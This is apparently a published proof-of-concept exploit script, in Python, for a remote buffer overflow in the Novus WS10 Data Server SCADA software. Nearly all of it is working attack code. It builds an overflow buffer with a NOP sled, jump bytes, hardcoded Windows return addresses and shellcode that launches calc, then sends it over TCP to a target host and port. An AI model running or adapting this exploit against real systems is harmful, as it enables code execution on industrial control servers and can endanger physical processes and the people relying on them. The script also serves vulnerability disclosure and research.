## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC ## Date: 09/23/2014 ## Author: Pedro Sánchez ## Version: 1.83 (English) ## Tested on: Windows 7 embedded.    ## Notified the vendor, vendor never responded. ## In the new version this PoC stops working    ## Vendor: Novus  ## http://www.novus.com.br    ## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation     import os import socket import sys   ## The process listens on TCP port 2001   host = sys.argv[1] port = int(sys.argv[2])    print " PoC WS10 Data Server SCADA Exploit "print " Pedro Sanchez "   shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90")     ## Exploit contructor       ws10 = ("\x90" * 1024 + "\x44" * 31788)      ws10 += ("\xeb\x14")      ws10 += ("\x44" * 6)      ws10 += ("\xad\xbb\xc3\x77")      ws10 += ("\xb4\x73\xed\x77")       ws10 += ("\x90" * 21)      ws10 += shellcode      print "  [+] Sending payload..."   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   s.connect((host,port))  s.send(ws10)   data = s.recv(1024)    print "  [+] Closing..."s.close()   print "  [+] Done!"